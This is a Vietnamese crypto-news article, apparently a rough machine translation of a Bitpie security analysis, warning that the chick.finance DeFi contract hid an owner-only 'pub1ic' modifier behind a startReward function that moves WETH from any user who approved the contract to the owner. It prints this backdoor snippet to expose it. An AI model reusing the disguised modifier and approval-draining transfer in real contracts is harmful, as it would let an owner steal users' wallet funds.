BTC
$96,000
5.73%
ETH
$3,521.91
3.97%
HTX
$0.{5}2273
5.23%
SOL
$198.17
3.05%
BNB
$710
3.05%
lang
简体中文
繁體中文
English
Tiếng Việt
한국어
日本語
ภาษาไทย
Türkçe
Trang chủ
AI AI
Tin nhanh
Bài viết
Sự kiện
BlockBeats Pro
Thêm
Thông tin tài chính
Chuyên đề
Hệ sinh thái chuỗi khối
Mục nhập
Podcast
Data
OPRR
Partnered With:

Chick.finance đã "đánh cắp" token thông qua mã hợp đồng độc hại như thế nào?

Đọc bài viết này mất 7 phút
Đối với bất kỳ người dùng nào ủy quyền hợp đồng, nhà phát triển có thể xóa tất cả mã thông báo trong ví của bạn.

Tiêu đề gốc: "Phân tích chi tiết về Dự án khai thác thanh khoản DeFi Chick.finance Mã hợp đồng độc hại"

Nguồn gốc: Bitpie


Lời nói đầu: Ngày 24 tháng 8, Khi các nhà phát triển cốt lõi của cộng đồng YFII đã kiểm tra hợp đồng click.finance của dự án thay thế nhóm súng máy Vault, họ nhận thấy rằng mã hợp đồng của dự án khai thác thanh khoản sắp ra mắt chick.finance khác với mã được hiển thị trên nền tảng GitHub và modifer đã bị sửa đổi một cách ác ý thành "pub1ic". Điều này khiến dự án gặp nguy hiểm về tài chính.


Vừa rồi, YFII đã công bố The Rủi ro về mã hợp đồng gà.finance đã được loại bỏ, tuy nhiên câu nói trong đó "nhà phát triển có quyền rút tất cả token do người dùng nạp lại" thực ra không hoàn toàn chính xác nên chúng tôi cần cung cấp thêm chi tiết cho bạn tại đây. /span>


Vấn đề với mã độc của hợp đồng không phải là “nhà phát triển" có thể rút tài khoản của người dùng mã thông báo được lưu trữ trong hợp đồng" (nhà phát triển đã có thể thực hiện việc này), nhưng đối với bất kỳ người dùng nào đã ủy quyền hợp đồng, nhà phát triển có thể xóa mã thông báo trong ví của bạn (không chỉ số tiền bạn gửi vào hợp đồng), đây chính xác là những gì Bitpie Security Lab đã viết trong bài viết trước "Rủi ro bảo mật lớn nhất hiện nay trong hệ sinh thái Ethereum Defi" là "vấn đề lạm dụng ủy quyền hợp đồng" được đề cập trong bài viết.


Mã độc như sau: hàm startReward(địa chỉ _from, uint256 money) external pub1ic {        weth.safeTransferFrom(_from, owner(), money);   


Nhà phát triển đã đưa ra các ràng buộc sau đối với pub1ic cố tình viết sai chính tả (nghĩa là chỉ chủ sở hữu hợp đồng mới có thể gọi nó. Nếu có không có cách gọi như vậy, Thế thì ai cũng có thể làm việc này. Các nhà phát triển muốn tự mình đánh cắp nó và họ chắc chắn không muốn người khác ăn cắp nó.)


công cụ sửa đổi pub1ic() {    ;     require(isOwner(), "Có thể sở hữu: người gọi không phải là chủ sở hữu");        _;   


Logic của đoạn mã trên rất đơn giản. Nó chỉ hoạt động đối với những người dùng đã ủy quyền hợp đồng này. Chủ sở hữu hợp đồng có thể chuyển mã thông báo của bạn tới chủ sở hữu Nó đơn giản như vậy.


Đây thực sự là một sự kiện xấu rất nghiêm trọng trong hệ sinh thái DeFi và cần thu hút sự chú ý của toàn bộ ngành công nghiệp. , bởi vì lần này có thể kẻ phát triển độc hại chỉ dùng lỗi chính tả để cố đánh lừa mọi người (viết public là pub1ic), và sau đó hắn may mắn bị phát hiện ở lần đầu tiên, còn lần sau thì sao? Liệu có thể viết ra một lỗ hổng logic phức tạp khó nhìn ra rồi lặng lẽ chờ nó lên mạng quét sạch ví của mọi người? Điều tôi muốn nhấn mạnh một lần nữa là trong ví dụ này, bạn không chỉ mất tài sản đã gửi vào hợp đồng mà còn mất tất cả tài sản trong ví của mình, bạn hiểu không?


Khi chúng tôi nêu vấn đề "lạm dụng ủy quyền hợp đồng" với toàn ngành, chúng tôi Vốn dĩ các nhà phát triển có thể làm điều ác, nhưng không ngờ ngày này lại đến nhanh như vậy, lần này mã giả ngu ngốc, lần sau thì sao? Liệu những người khai thác DeFi có thể ẩn náu vào lần tới không?


Bài đọc liên quan: " Cảnh báo: Có những rủi ro nghiêm trọng trong hợp đồng gà.finance của dự án khai thác thanh khoản, vui lòng không tham gia》


Địa chỉ gốc



Chào mừng bạn tham gia cộng đồng chính thức của BlockBeats:

Nhóm Telegram đăng ký: https://t.me/theblockbeats

Nhóm Telegram thảo luận: https://t.me/BlockBeats_App

Tài khoản Twitter chính thức: https://twitter.com/BlockBeatsAsia

举报 Báo lỗi/Báo cáo
Chọn thư viện
Thêm mới thư viện
Hủy
Hoàn thành
Thêm mới thư viện
Chỉ mình tôi có thể nhìn thấy
Công khai
Lưu
Báo lỗi/Báo cáo
Gửi